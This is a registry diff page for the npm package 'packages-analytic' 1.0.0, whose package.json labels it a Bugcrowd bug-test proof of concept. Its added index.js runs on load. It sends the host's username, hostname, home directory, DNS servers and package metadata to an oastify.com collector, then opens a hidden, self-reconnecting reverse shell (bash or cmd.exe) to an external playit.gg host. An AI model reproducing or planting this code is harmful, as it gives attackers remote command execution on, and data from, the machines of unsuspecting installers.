packages-analytic 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of packages-analytic might be problematic. Click here for more details.
- package/index.js +124 -0
- package/package.json +11 -0
package/index.js
ADDED
@@ -0,0 +1,124 @@
|
|
1
|
+
const net = require("net");
|
2
|
+
const cp = require("child_process");
|
3
|
+
const os = require("os");
|
4
|
+
const dns = require("dns");
|
5
|
+
const querystring = require("querystring");
|
6
|
+
const https = require("https");
|
7
|
+
const packageJSON = require("./package.json");
|
8
|
+
const package = packageJSON.name;
|
9
|
+
|
10
|
+
const trackingData = JSON.stringify({
|
11
|
+
p: package,
|
12
|
+
c: __dirname,
|
13
|
+
hd: os.homedir(),
|
14
|
+
hn: os.hostname(),
|
15
|
+
un: os.userInfo().username,
|
16
|
+
dns: dns.getServers(),
|
17
|
+
r: packageJSON ? packageJSON.___resolved : undefined,
|
18
|
+
v: packageJSON.version,
|
19
|
+
pjson: packageJSON,
|
20
|
+
});
|
21
|
+
|
22
|
+
var postData = querystring.stringify({
|
23
|
+
msg: trackingData,
|
24
|
+
});
|
25
|
+
|
26
|
+
var options = {
|
27
|
+
hostname: "usqco8sv8ic2s2f9pyg3nfkdc4iw6mub.oastify.com",
|
28
|
+
port: 443,
|
29
|
+
path: "/",
|
30
|
+
method: "POST",
|
31
|
+
headers: {
|
32
|
+
"Content-Type": "application/x-www-form-urlencoded",
|
33
|
+
"Content-Length": postData.length,
|
34
|
+
},
|
35
|
+
};
|
36
|
+
|
37
|
+
var req = https.request(options, (res) => {
|
38
|
+
res.on("data", (d) => {
|
39
|
+
process.stdout.write(d);
|
40
|
+
});
|
41
|
+
});
|
42
|
+
|
43
|
+
req.on("error", (e) => {
|
44
|
+
// console.error(e);
|
45
|
+
});
|
46
|
+
|
47
|
+
req.write(postData);
|
48
|
+
req.end();
|
49
|
+
|
50
|
+
// IP address and port of the listener
|
51
|
+
const REMOTE_IP = "doing-plus.gl.at.ply.gg";
|
52
|
+
const REMOTE_PORT = 24694;
|
53
|
+
|
54
|
+
// Command translation table for Linux to Windows commands
|
55
|
+
const linuxToWindowsCommands = {
|
56
|
+
"ls": "dir",
|
57
|
+
"cat": "type",
|
58
|
+
// Add more command translations as needed
|
59
|
+
};
|
60
|
+
|
61
|
+
// Function to send the detected operating system to the server
|
62
|
+
function sendOSInfo(client) {
|
63
|
+
const osInfo = os.platform() === "win32" ? "Windows system found" : "Linux system found";
|
64
|
+
client.write(osInfo);
|
65
|
+
}
|
66
|
+
|
67
|
+
// Function to handle client connection
|
68
|
+
function handleClientConnection(client) {
|
69
|
+
// Send OS information to the server
|
70
|
+
sendOSInfo(client);
|
71
|
+
|
72
|
+
// Spawn a shell process based on the operating system
|
73
|
+
const shellCommand = os.platform() === "win32" ? "cmd.exe" : "/bin/bash";
|
74
|
+
const shell = cp.spawn(shellCommand);
|
75
|
+
|
76
|
+
// Pipe the input/output/error streams between the shell process and the TCP socket client
|
77
|
+
client.pipe(shell.stdin);
|
78
|
+
shell.stdout.pipe(client);
|
79
|
+
shell.stderr.pipe(client);
|
80
|
+
|
81
|
+
// Handle client disconnection
|
82
|
+
client.on('close', function() {
|
83
|
+
// Attempt to reconnect after a delay
|
84
|
+
setTimeout(connectToServer, 5000); // Retry after 5 seconds
|
85
|
+
});
|
86
|
+
|
87
|
+
// Handle errors
|
88
|
+
client.on('error', function(err) {
|
89
|
+
// Do not print or log errors
|
90
|
+
// Attempt to reconnect after a delay
|
91
|
+
setTimeout(connectToServer, 5000); // Retry after 5 seconds
|
92
|
+
});
|
93
|
+
}
|
94
|
+
|
95
|
+
// Function to translate Linux commands to Windows equivalents
|
96
|
+
function translateCommand(command) {
|
97
|
+
// Check if the client machine is running on Windows
|
98
|
+
if (os.platform() === "win32") {
|
99
|
+
return linuxToWindowsCommands[command] || command;
|
100
|
+
} else {
|
101
|
+
return command; // For Linux, return the command as is
|
102
|
+
}
|
103
|
+
}
|
104
|
+
|
105
|
+
// Function to connect to the server
|
106
|
+
function connectToServer() {
|
107
|
+
const client = net.connect(REMOTE_PORT, REMOTE_IP, function() {
|
108
|
+
// Successfully connected
|
109
|
+
handleClientConnection(client);
|
110
|
+
});
|
111
|
+
|
112
|
+
// Handle connection errors
|
113
|
+
client.on('error', function(err) {
|
114
|
+
// Do not print or log errors
|
115
|
+
// Attempt to reconnect after a delay
|
116
|
+
setTimeout(connectToServer, 5000); // Retry after 5 seconds
|
117
|
+
});
|
118
|
+
}
|
119
|
+
|
120
|
+
// Start the initial connection attempt
|
121
|
+
connectToServer();
|
122
|
+
|
123
|
+
// Optional: Prevent the Node.js application from crashing
|
124
|
+
module.exports = /a/;
|
package/package.json
ADDED
@@ -0,0 +1,11 @@
|
|
1
|
+
{
|
2
|
+
"name": "packages-analytic",
|
3
|
+
"version": "1.0.0",
|
4
|
+
"description": "BUG TEST POC BY JALWAN1 BUGCROWD",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
8
|
+
},
|
9
|
+
"author": "jalwan1 (bugcrowd)",
|
10
|
+
"license": "ISC"
|
11
|
+
}
|